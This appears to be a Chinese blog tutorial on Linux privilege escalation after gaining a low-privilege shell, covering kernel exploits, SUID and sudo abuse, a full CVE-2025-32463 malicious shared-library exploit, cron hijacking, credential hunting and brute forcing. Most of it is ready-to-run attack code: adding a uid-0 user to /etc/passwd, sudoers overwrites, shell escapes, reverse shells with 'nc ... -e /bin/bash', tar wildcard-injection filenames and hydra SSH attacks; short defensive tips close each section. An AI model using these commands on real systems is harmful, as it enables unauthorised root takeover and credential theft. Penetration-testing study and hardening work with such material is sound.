Linux提权

前言

在渗透测试中,拿到一个 WebShell 或低权限 Shell 只是第一步,真正的目标是获取目标主机的最高权限

本文基于实战角度,详细讲解以下 6 种最经典的 Linux 提权方法

  1. 内核漏洞提权 --- 直接利用系统漏洞
  2. SUID 提权 --- 利用文件权限配置不当
  3. sudo 提权 --- 利用 sudo 配置疏漏或漏洞
  4. CronJobs 提权 --- 利用定时任务配置疏漏
  5. 查找敏感文件提权 --- 密码复用是最快的路
  6. 暴力破解提权 --- 最原始但有效的方法

一、内核漏洞提权

1.1 什么是 Linux 内核漏洞

Linux 内核是操作系统的核心,负责管理硬件资源、进程调度、内存管理等。由于 Linux 内核是开源项目,拥有近百万次 commit、超过 5000 名开发者,代码修改频繁,难免存在漏洞。

内核漏洞提权的原理:利用 Linux 内核中存在的安全漏洞,执行具有高权限的任意代码,从而将普通用户权限提升至 root。

1.2 提权三步骤

第一步:收集信息

拿到目标 Shell 后,首先需要确认系统的发行版本和内核版本:

bash 复制代码
# 查看发行版本
lsb_release -a

# 如果系统不支持 lsb_release,使用以下命令
cat /etc/os-release

# 查看内核版本(最关键)
uname -r

# 查看更详细的信息
uname -a

# 检查用户命名空间是否启用(某些 exploit 需要)
cat /proc/sys/kernel/unprivileged_userns_clone
# 返回 1 表示启用,0 表示禁用
第二步:查找漏洞

有了版本号之后,去 Exploit-DB 搜索对应版本的内核漏洞。

搜索技巧:

  • 在 Search 框输入关键词组合,例如:privilege kernel 2.6 ubuntu
  • 在 Filter 中设置 Type 为 local、Platform 为 Linux
  • 优先选择已验证的 exp(带有绿色勾标记的)

如果你使用的是 Kali Linux,也可以用命令行工具 searchsploit:

bash 复制代码
searchsploit privilege | grep -i linux | grep -i kernel | grep -i 2.6
第三步:执行攻击

大多数情况下,靶机无法连接外网,所以需要先将 exp 下载到攻击机,再上传到靶机:

bash 复制代码
# 在攻击机上下载 exp(注意 exploit-db 的下载链接格式可能会变)
wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c

# 攻击机搭建 HTTP 服务
cd /tmp
python3 -m http.server 8000

# 靶机下载 exp
wget 192.168.122.1:8000/exploit.c -P /tmp

# 编译 exp(需要 gcc)
cd /tmp
gcc exploit.c -o exploit

# 执行 exp
./exploit

如果靶机没有 gcc,可以在攻击机编译好后上传:gcc -static exploit.c -o exploit

1.3 现代内核漏洞示例

以下是近年来影响广泛的内核提权漏洞(截至 2026 年):

CVE 编号 影响范围 说明
CVE-2024-1086 内核 v3.15~v6.8 netfilter nf_tables 双重释放漏洞,已被勒索软件利用,99.4% 成功率
CVE-2026-46333 各主流发行版 ptrace 路径下的本地 root 提权 + 凭据泄露,可直接读取 /etc/shadow
CVE-2021-4034 pkexec 本地提权 几乎影响所有主流发行版,利用极为稳定

1.4 注意事项

  • 内核漏洞利用可能导致系统崩溃,请优先尝试其他方法
  • 并非每个 CVE 对应的 exp 都能直接成功,遇到失败可以:
    • 更换相同 CVE 漏洞的不同 exp
    • 尝试其他 CVE 漏洞
  • 内核漏洞利用需要一定的耐心,可能需要多次尝试
  • 现代 Linux 有 KASLR、SMEP、SMAP 等内核防护机制,exp 可能需要绕过这些缓解措施,成功率不如从前

1.5 工具推荐:linux-exploit-suggester

这是一个根据内核版本自动查找可利用漏洞的脚本:

bash 复制代码
# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# 执行
./linux-exploit-suggester.sh

# 如果靶机 Bash 版本过低,可以手动指定内核信息
./linux-exploit-suggester.sh -u "$(uname -a)"

结果中的 Exposure 分级:

  • Highly probable:大概率可利用
  • Probable:可能成功,可能需要调整
  • Less probable:需要额外分析
  • Unprobable:可能性极低

一般优先尝试 Highly probableProbable 级别的漏洞。


二、SUID 提权

2.1 什么是 SUID

SUID是 Linux 中的一种特殊权限位。当一个可执行文件设置了 SUID 位时,任何用户执行该文件,都会以文件所有者(通常是 root)的权限运行

我们以 ping 命令为例:

bash 复制代码
ls -alh /bin/ping
# 输出中会看到: -rwsr-xr-x  注意这个 's' 就是 SUID 标志

ping 需要发送 Raw Socket,通过 SUID 位,普通用户也能使用 ping 命令。

提权的核心思路 :如果某个设置了 SUID 位的文件(所有者是 root)具有执行系统命令修改文件的功能,我们就可以利用它来提权。

2.2 查找 SUID 可执行文件

拿到 Shell 后的第一件事就是找哪些文件有 SUID 位:

bash 复制代码
# 三种等价写法
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

2.3 常见 SUID 提权命令详解

1. nmap 提权

适用条件 :nmap 版本在 2.02 ~ 5.21 之间,且设置了 SUID 位

bash 复制代码
# 查看版本
nmap --version

# 进入交互模式
nmap --interactive

# 在交互模式中执行 shell
!sh

此时获取的 shell 是 root 权限,因为 nmap 以 root 所有者身份运行。

2. find 提权

适用条件:find 命令设置了 SUID 位

bash 复制代码
# find 的 -exec 参数可以执行任意命令
find <任意文件> -exec <命令> \;

# 提权到 root shell(-p 参数必须加)
find test -exec /bin/bash -p \;

为什么必须加 -p 不加 -p 时,bash 会检测到有效 UID 和真实 UID 不一致,自动将权限降回真实 UID。-p 参数告诉 bash 不要降权,保持 SUID 赋予的特权。

3. cp 命令提权

适用条件:cp 命令设置了 SUID 位

思路:利用 cp 的 root 权限覆盖 /etc/passwd 文件,添加一个 uid=0 的用户。

bash 复制代码
# 1. 先复制一份 passwd 文件
cat /etc/passwd > ~/passwd

# 2. 生成密码哈希
openssl passwd -1 -salt ignite pass123
# 输出: $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

# 3. 构造新用户行并追加(uid=0 表示 root 权限)
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd

# 4. 利用 SUID cp 覆盖 /etc/passwd
cp ~/passwd /etc/passwd

# 5. 切换用户,密码 pass123
su hacked
# 此时已是 root 权限!

mv 命令的提权方法与 cp 类似,不再赘述。

补充:利用 cp 的 SUID 覆盖 /etc/sudoers

除了覆盖 /etc/passwd,也可以直接修改 sudo 配置让自己获得完全的 sudo 权限:

bash 复制代码
# 1. 备份当前 sudoers
cp /etc/sudoers /tmp/sudoers.bak

# 2. 添加免密 sudo 权限
echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /tmp/sudoers.bak

# 3. 利用 SUID cp 覆盖
cp /tmp/sudoers.bak /etc/sudoers

# 4. 现在可以无需密码使用 sudo
sudo bash
4. 其他可 SUID 提权的命令
命令 利用方式
vim vim -c '!sh'
less 打开文件后输入 !/bin/bash
more TERM= more /etc/profile → 输入 !/bin/bash
php php -r "pcntl_exec('/bin/sh', ['-p']);"
python python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
awk awk 'BEGIN {system("/bin/sh")}'
sed sed -n '1e exec bash -p' /etc/passwd

推荐资源GTFOBins 收录了 478+ 个 Unix 二进制文件的提权方法,覆盖 SUID、sudo、Capabilities 等多种场景。实战中查到可疑的 SUID 文件后,直接上 GTFOBins 搜命令名即可看到对应提权方法。

2.4 防御思路

  • 定期审计系统中所有 SUID 文件
  • 移除不必要的 SUID 位:chmod u-s <文件路径>
  • 尽量使用 sudo 而非 SUID 来管理特权操作
  • 使用 mount -o nosuid 挂载不需要 SUID 的分区

三、sudo 提权

3.1 什么是 sudo

sudo(Super User DO)的作用是让当前用户以 root 或其他用户的身份执行命令。与 SUID 不同,sudo 的权限由 /etc/sudoers 配置文件精确控制。

提权的核心思路:如果 /etc/sudoers 配置不当,允许我们以 root 权限执行某些命令,而这些命令恰好能用来获取 shell,就能直接提权。

3.2 查看当前 sudo 权限

拿到 Shell 后第一件事:

bash 复制代码
sudo -l

这条命令会显示当前用户能执行哪些 sudo 命令。看到输出后重点关注两样东西:

  • 允许以 root 身份执行哪些命令
  • 是否需要密码(NOPASSWD)

3.3 利用方式一:允许执行命令且无参数限制

这是最常见也是最容易利用的配置错误。

假设 sudo -l 输出:

bash 复制代码
(root) NOPASSWD: /usr/bin/find

意为当前用户可以无需密码,以 root 权限执行 find 命令。

利用方法------和 SUID 提权的思路完全一样:

bash 复制代码
# find
sudo find /home -exec /bin/bash \;

# 如果允许执行 vim
sudo vim -c '!sh'

# less
sudo less /etc/passwd
# 然后输入 !/bin/bash

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# man
sudo man man
# 然后输入 !/bin/bash

万能查询 :任何可以通过 sudo 执行的命令,都可以去 GTFOBins 搜一下,看有没有对应的提权方法。

3.4 利用方式二:允许执行带固定参数的命令

假设 sudo -l 输出:

bash 复制代码
(root) NOPASSWD: /bin/less /var/log/messages

注意 /bin/less/var/log/messages 之间没有逗号,说明这是一条完整的命令,参数被写死了。

利用方法------某些命令即使参数固定,也可以用内部命令逃逸:

bash 复制代码
sudo less /var/log/messages
# 在 less 界面中输入:
!/bin/bash

同样的技巧也适用于 moremanvim 等可以执行内部命令的程序。

3.5 利用方式三:CVE-2025-32463(sudo --chroot 提权,CVSS 9.3)

这是近年来最严重的 sudo 漏洞之一,于 2025 年披露,影响范围极广。

项目 内容
CVE CVE-2025-32463
影响组件 sudo
影响版本 sudo 1.9.14 ~ 1.9.17
修复版本 sudo 1.9.17p1
CVSS 9.3
发现者 Rich Mirch (Stratascale)

漏洞原理

sudo 从 1.9.14 版本开始引入了 --chroot-R)选项,允许在执行命令前切换根目录。但在实现中,sudo 没有正确清理 chroot 环境中的权限 。攻击者可以在自己控制的目录中构建一个恶意的 nsswitch.conf 文件,指向一个恶意的共享库(.so)。当 sudo 以 root 权限加载 NSS(名称服务切换)库时,恶意代码被执行,直接获得 root shell。

利用步骤

bash 复制代码
# 1. 检查 sudo 版本
sudo --version
# 如果是 1.9.14 ~ 1.9.17 之间,则存在漏洞

# 2. 创建恶意共享库 exploit.c
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn(void) {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
}
EOF

# 3. 编译
gcc -shared -o /tmp/exploit.so -fPIC /tmp/exploit.c

# 4. 创建恶意 chroot 环境
mkdir -p /tmp/chroot/etc
mkdir -p /tmp/chroot/lib/x86_64-linux-gnu
mkdir -p /tmp/chroot/usr/lib/x86_64-linux-gnu

# 5. 创建恶意的 nsswitch.conf,让 sudo 加载我们的 so
echo "passwd: files exploit" > /tmp/chroot/etc/nsswitch.conf
echo "group: files exploit" >> /tmp/chroot/etc/nsswitch.conf
echo "shadow: files exploit" >> /tmp/chroot/etc/nsswitch.conf

# 6. 复制必要的库文件(视系统架构而定)
cp /lib/x86_64-linux-gnu/{libc.so.6,libnss_files.so.2,ld-linux-x86-64.so.2} /tmp/chroot/lib/x86_64-linux-gnu/ 2>/dev/null
cp /usr/lib/x86_64-linux-gnu/libnss_files.so.2 /tmp/chroot/usr/lib/x86_64-linux-gnu/ 2>/dev/null

# 7. 将恶意 so 放置在 NSS 搜索路径中
cp /tmp/exploit.so /tmp/chroot/lib/x86_64-linux-gnu/libnss_exploit.so.2

# 8. 触发漏洞
sudo -R /tmp/chroot id
# 成功则直接获得 root shell

更多 PoC 参考

3.6 防御思路

  • 立即升级 sudosudo apt update && sudo apt upgrade sudo
  • 最小化 sudoers 配置,尽量使用 sudo -u 而不是直接给 ALL
  • 不需要 chroot 功能时,在 sudoers 中禁用 -R 选项
  • 定期审计 sudo -l 的输出,检查是否有异常的 sudo 权限

四、CronJobs 提权

3.1 什么是 Cron Jobs

Cron Jobs 是 Linux 系统中的定时任务,用于周期性执行命令或脚本(如备份数据、清理缓存等)。如果定时任务以 root 权限运行,且脚本文件或相关目录权限配置不当,就可能被攻击者利用来提权。

3.2 查看定时任务

bash 复制代码
cat /etc/crontab      # 系统级定时任务
crontab -l            # 当前用户的定时任务
ls -la /etc/cron.*    # 查看 cron 目录下的脚本

3.3 利用场景一:cron 调用的脚本可写

场景:定时任务以 root 权限执行某个脚本,但该脚本对其他用户可写。

假设 /etc/crontab 中有如下配置:

bash 复制代码
* * * * * root python /home/shiyanlou/cleanup.py

查看脚本权限,发现其他用户有 w(写入)权限:

bash 复制代码
ls -al /home/shiyanlou/cleanup.py
# -rw-rw-rw-  说明其他用户可写

利用方法一:反弹 root shell

修改 cleanup.py 的内容:

python 复制代码
# 反弹 shell 到攻击机
import os
os.system('nc 192.168.1.100 4444 -e /bin/bash')

攻击机监听:

bash 复制代码
nc -lnvp 4444

等待定时任务执行,即可接收到 root 权限的 shell。

利用方法二:添加 SUID

修改 cleanup.py 的内容,给 bash 添加 SUID 位:

python 复制代码
import os
os.system('chmod +s /bin/bash')

等待执行后:

bash 复制代码
/bin/bash -p    # 获得 root shell

3.4 利用场景二:cron + 通配符注入

场景 :定时任务使用 tar 命令打包目录,且打包目录对当前用户可写。

假设 crontab 中有:

bash 复制代码
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

原理 :Linux shell 会将 - 开头的文件名解释为命令参数。tar 命令有 --checkpoint--checkpoint-action 参数,可以在打包时执行任意命令。

利用步骤

bash 复制代码
# 进入可写的打包目录
cd /var/www/html/

# 1. 创建反弹 shell 脚本
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh

# 2. 创建 checkpoint 触发文件(文件名就是 tar 的参数)
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

当 cron 执行 tar 命令时,实际执行的命令变成了:

bash 复制代码
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html ...
  • --checkpoint=1:每处理 1 个文件触发一次检查点
  • --checkpoint-action=exec=sh shell.sh:触发时执行 shell.sh

这样就会执行我们的反弹 shell 脚本,获取 root 权限。

两个限制条件

  1. 打包目录必须对当前用户可写
  2. tar 命令中不能使用绝对路径(即不能用 /var/www/html/*,只能用 /var/www/html/

3.5 防御思路

  • cron 调用的脚本文件权限设为 700(仅所有者可读写执行)
  • tar 打包命令中尽量使用全路径+具体文件,避免使用通配符 *
  • 定期审计 /etc/crontab 和各 cron 目录下的脚本

五、查找敏感文件提权

5.1 核心思想

这一方法的本质是 寻找服务器上的认证信息 + 密码复用。管理员经常在不同服务中使用相同或相似的密码,如果能从 Web 配置文件、数据库或 bash 历史中找到密码,很可能就直接登录 root 了。

5.2 Web 服务配置文件

重点关注 /var/www 目录下的配置文件:

bash 复制代码
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null

如果目标使用了 CMS(WordPress、Drupal、Joomla 等),查一下该 CMS 的默认配置文件路径。例如 WordPress 的数据库配置在 wp-config.php

bash 复制代码
more /var/www/wordpress/wp-config.php
# 可能会找到 MySQL 连接信息:
# define('DB_USER', 'root');
# define('DB_PASSWORD', 'cD8M2M8fMiDHu4m1');

利用思路

  1. 尝试用该密码直接 SSH 登录 root
  2. 登录 MySQL 数据库,查找其他用户的密码
  3. 使用找到的密码尝试 sudo 或 su
bash 复制代码
# 登录 MySQL
mysql -u root -p -h 127.0.0.1

# 在数据库中查找用户表
show databases;
use <数据库名>;
show tables;
select * from <用户表>;

找到的密码可能和系统 root 密码相同(密码复用)。

5.3 用户历史命令

bash 复制代码
cat ~/.bash_history
cat ~/.bashrc
cat ~/.bash_profile

历史命令中可能泄露密码:

bash 复制代码
# 例如发现这条记录:
echo tomcat-syl:09FMWNFS7n | chpasswd
# 表示管理员修改了 tomcat-syl 的密码为 09FMWNFS7n

# 尝试 sudo
sudo whoami
# 输入密码 09FMWNFS7n

5.4 备份文件

bash 复制代码
find /var /etc /home /root /tmp -type f \( -name "*backup*" -o -name "*.bak" -o -name "*.bck" -o -name "*.bk" \) 2>/dev/null

备份文件中经常包含 SSH 密钥、数据库密码、配置文件等敏感信息。

5.5 补充:MySQL UDF 提权

如果找到 MySQL root 密码,且 MySQL 以 root 权限运行,可以尝试 UDF 提权。

条件

  1. 获取到 MySQL root 账户密码
  2. MySQL 以 root 权限运行(未被降权)

UDF(User Defined Function)是 MySQL 的共享库机制,可以创建执行系统命令的函数(如 sys_execsys_eval),从而执行系统命令。

5.6 防御思路

  • 数据库密码不要与系统密码相同(避免密码复用)
  • Web 配置文件的数据库密码使用独立账户,最小权限原则
  • 定期清理 bash 历史记录:history -c
  • 备份文件要加密存储,不要放在 Web 目录下
  • MySQL 不要以 root 权限运行

六、暴力破解提权

6.1 什么时候用暴力破解

当你试遍了所有其他方法都无法提权时,暴力破解可能是最后的选择。主要有两种途径:

  1. 本地暴力破解 :通过 su 命令爆破 root 密码
  2. 远程暴力破解:通过 SSH 协议爆破 root 密码

6.2 本地暴力破解(sucrack)

su 命令需要从 TTY shell 获取输入,普通的 shell 脚本无法完成自动化爆破。sucrack 是用 C 语言编写的多线程工具,专门用于通过 su 爆破本地用户密码。

安装 sucrack

bash 复制代码
# 方法一:apt 安装(靶机能联网时)
sudo apt install sucrack

# 方法二:下载源码编译
# 下载地址:https://leidecker.info/projects/sucrack.shtml

# 方法三:在攻击机编译后上传到靶机

使用示例

bash 复制代码
# 基本用法:默认爆破 root 密码
sucrack -w 20 wordlists.txt

# 指定用户
sucrack -u myuser -w 20 wordlists.txt

参数说明:

  • -w:指定线程数(建议 20 左右)
  • -u:指定要爆破的用户(默认 root)
  • wordlists.txt:密码字典文件

成功后会显示破解出的密码,然后使用 su root 切换即可。

6.3 远程暴力破解(hydra)

前置检查:只有 SSH 配置允许 root 登录时才有意义

bash 复制代码
cat /etc/ssh/sshd_config | grep -i permitrootlogin
# 必须是 yes 才能尝试

hydra 爆破 SSH

bash 复制代码
# 基本语法(传统格式)
hydra -l root -P passwords.txt -t 4 -V <目标IP> ssh

# 或者使用 URI 格式(推荐)
hydra ssh://<目标IP>:22 -l root -P passwords.txt -t 4

参数说明:

  • -l:指定用户名(这里是 root)
  • -P:指定密码字典
  • -t:线程数(SSH 建议设置为 4,默认 16 已经偏大,不要使用 -t 64)
  • -V:显示详细的破解进度
  • -o:将结果保存到文件

注意事项

  • ⚠️ SSH 的 -t 参数不要设太大 ,很多 SSH 服务端会限制并发连接数,建议 -t 4,过大反而容易被 ban 或导致误报
  • hydra v9.0 之前的版本爆破 SSH 容易出现误报,请升级到最新版
  • 爆破行为可能触发系统的 Fail2Ban 等防护机制
  • SSH 爆破速度较慢,适合作为字典攻击

6.4 暴力破解的局限性

  • 速度慢:需要大量请求/尝试
  • 可能被封:系统可能配置了账户锁定或 IP 封禁策略
  • 依赖字典:密码强度取决于字典质量
  • 日志明显 :爆破行为会在 /var/log/auth.log 中留下大量失败记录

6.5 防御思路

  • 禁止 root 远程登录 SSH:PermitRootLogin no
  • 使用 SSH 密钥认证代替密码认证
  • 部署 Fail2Ban 等防护工具
  • 设置复杂密码,定期更换
  • 使用 PAM 模块设置账户锁定策略

拿到 Shell 后,按照以下顺序快速排查:

复制代码
1. sudo -l                      # 看 sudo 权限(含 CVE-2025-32463 检测)
2. find / -perm -4000 2>/dev/null   # 看 SUID
3. cat /etc/crontab              # 看定时任务
4. find /var/www -name "*.php" -o -name "*.config"   # 找敏感文件
5. cat ~/.bash_history           # 看历史命令
6. cat /etc/shadow 2>/dev/null   # 检查 shadow 权限
7. uname -r 然后找内核漏洞        # 最后手段
相关推荐
无足鸟ICT2 小时前
【RHCA+】替换变量
linux
尘似鹤2 小时前
rk3506的uboot源码分析(三)
linux·uboot
闲猫2 小时前
Agent工程实践:从WorkFlow到多Agent协作的落地笔记
java·服务器·前端
2023自学中2 小时前
imx6ull 开发板 贪吃蛇, C++11 SDL2 无硬件GPU优化版
linux·c++
你驴我3 小时前
WhatsApp 消息撤回与编辑的幂等性设计实践
java·服务器·前端·后端·python
我头发多我先学3 小时前
Linux入门:简要认识Linux和基础指令
linux·运维·服务器
逍遥德3 小时前
运维技术栈Linux+docker+Kubernetes+Jenkins/GitLab CI 知识点详细列表
linux·运维·docker
冰封之寂4 小时前
Docker 部署与基础命令详解:从安装到容器管理全流程指南
linux·运维·docker·容器
cellurw4 小时前
20260723 六组件全流程编译打通与音频项目启动
linux·服务器·音视频